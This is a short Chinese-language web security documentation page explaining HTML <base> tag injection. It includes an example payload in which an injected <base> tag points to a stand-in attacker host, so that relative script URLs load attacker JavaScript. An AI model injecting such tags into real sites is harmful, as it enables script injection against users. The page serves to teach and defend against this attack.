> For the complete documentation index, see [llms.txt](https://gitbook.cdxiaodong.life/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook.cdxiaodong.life/web-ying-yong-an-quan/html-zhu-ru/base.md). Agents can also search and read this documentation through its [MCP server](https://gitbook.cdxiaodong.life/~gitbook/mcp).

# base标签注入

## 概述

HTML [`<base>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/base) 元素指定用于文档中所有相对URL的基础URL。

{% hint style="info" %}
如果使用了多个 `<base>` 元素，只有第一个 href 和第一个 target 会被遵守——所有其他的都会被忽略。
{% endhint %}

## 相对URL重定向

`<base>` 标签注入允许将相对URL重定向到任意主机。

例如，对于以下页面，浏览器将从 `https://attacker-website.com/assets/some-script.js` 请求脚本。

```html
<base href="https://attacker-website.com">

<script src="/assets/some-script.js"></script>
```

换句话说，如果有办法注入 `<base>` 标签，就有可能向使用相对URL下载脚本的 `<scripts>` 元素注入任意JavaScript代码。
